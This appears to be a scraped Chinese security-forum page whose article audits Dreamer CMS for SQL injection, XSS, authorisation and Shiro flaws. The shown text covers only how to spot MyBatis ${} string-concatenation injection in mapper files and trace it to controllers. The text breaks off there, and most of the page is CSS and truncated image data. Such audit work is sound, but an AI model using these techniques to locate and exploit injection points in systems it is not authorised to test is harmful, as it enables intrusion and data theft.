sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@-webkit-keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes fadeOut{0%{opacity:1}to{opacity:0}}@keyframes fadeOut{0%{opacity:1}to{opacity:0}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}@-webkit-keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style data-id=immersive-translate-input-injected-css>@-webkit-keyframes immersive-translate-loading-animation{from{-webkit-transform:rotate(0deg)}to{-webkit-transform:rotate(359deg)}}@keyframes immersive-translate-loading-animation{from{transform:rotate(0deg)}to{transform:rotate(359deg)}}@keyframes immersiveTranslateShadowRolling{0%{box-shadow:0Line truncated
|
||||
<body>
|
||||
<div class="navbar navbar-default">
|
||||
<div class=navbar-inner>
|
||||
<div class=container style=text-align:center;position:relative>
|
||||
<!--[if lte IE 8]>
|
||||
<span style="display:inline-block;margin:0 auto;color:red;">为了更好的体验,请使用IE10及以上版本</span>
|
||||
<![endif]-->
|
||||
<div class=brand-box>
|
||||
<a class=brand href=https://xz.aliyun.com/tab/1></a>
|
||||
</div>
|
||||
|
||||
<a href="https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Fxz.aliyun.com%2Ft%2F13628&from_type=xianzhi" class="pull-right anonymous-user hh_loding sf-hidden">
|
||||
登录</a>
|
||||
|
||||
<div class="nav-collapse collapse">
|
||||
<div class="search d1 text-right">
|
||||
<form action=/search>
|
||||
<input type=text placeholder=搜索 name=keyword value>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div id=Wrapper class=container>
|
||||
|
||||
|
||||
<div class=row2>
|
||||
<div class=span10>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<div class="row box content" width="1200px !important" style=width:1200px>
|
||||
|
||||
<div class=box-container>
|
||||
<div class=main-topic>
|
||||
<div class="clearfix user-info topic-list">
|
||||
<p><span class=content-title>快速审计记录(四)--某管理系统(梦想家内容管理系统(Dreamer CMS)SQL注入+越权+未授权+XSS+Shiro漏洞)</span>
|
||||
</p>
|
||||
<div class=topic-info>
|
||||
<span class=info-left>
|
||||
<a href=https://xz.aliyun.com/u/46194>
|
||||
<span class="username cell"> nihao123123</span></a> <span class=i-seprator> / </span>
|
||||
<span> 2024-02-09 13:40:00</span><span class=i-seprator> / </span>
|
||||
|
||||
<span>发表于河南 / </span>
|
||||
|
||||
<span>浏览数 359</span>
|
||||
|
||||
|
||||
<span class=content-node>
|
||||
|
||||
<span class="label label-default label-node-first">
|
||||
<a href=https://xz.aliyun.com/tab/4>社区板块</a></span>
|
||||
<span class="label label-default">
|
||||
<a href=https://xz.aliyun.com/node/1>漏洞分析</a></span>
|
||||
|
||||
</span>
|
||||
</span>
|
||||
<span class="pull-right t-vote cell info-right"><a class="vote vote-up" href=javascript:void(0)>
|
||||
顶(0)</a>
|
||||
<a class="vote vote-down" href=javascript:void(0)>
|
||||
踩(0)</a></span>
|
||||
</div>
|
||||
</div>
|
||||
<hr>
|
||||
<div id=topic_content class="topic-content markdown-body">
|
||||
<h1 id=toc-0>SQL注入查找</h1>
|
||||
<p>Mybatis审计技巧,众所周知,MyBatis支持两种参数符号,一种是#,另一种是$,#使用预编译,$使用拼接SQL。在SQL语句中使用like,order by,in语句中,使用 #{} 会将对象转成字符串,形成 order by \"user\" desc 造成错误,因此很多研发会采用${}来解决,从而造成SQL注入<br>
|
||||
查看mapper文件,或者全局搜索<code>${</code><br>
|
||||
<a id=img0 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707454588651-35db5ef3-95d3-4aeb-88fb-ac98daf4ef33.png#averageHue=%23252c2f&clientId=u1a050abd-bc2d-4&from=paste&height=58&id=u3dcb3b4d&originHeight=87&originWidth=483&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=12584&status=done&style=none&taskId=ubccef180-4fc3-485f-9cf7-4773b973d49&title=&width=322" title><img src="data:image/png;base64,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 truncated
|
||||
找到一处这里使用的是$拼接符号<br>
|
||||
其对应的mapper的dao层如<a id=img1 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707454633020-52834c7e-52c7-4af2-a4ce-e31429c62044.png#averageHue=%23222429&clientId=u1a050abd-bc2d-4&from=paste&height=83&id=u241b78d2&originHeight=124&originWidth=832&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=15608&status=done&style=none&taskId=u899bdfdb-9f60-48ce-b99c-9f9c44b4a45&title=&width=554.6666666666666" title><img src="data:image/png;base64,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 truncated
|
||||
查看此方法被那个controller调用<a id=img2 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707454705364-39c91ecf-81f3-4d94-9929-618a2bc6ec7f.png#averageHue=%23222428&clientId=u1a050abd-bc2d-4&from=paste&height=91&id=u3c8f1f66&originHeight=136&originWidth=742&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=21285&status=done&style=none&taskId=u8860b43b-bb2e-4531-bb71-45e82936b81&title=&width=494.6666666666667" title><img src=data:image/png;base64,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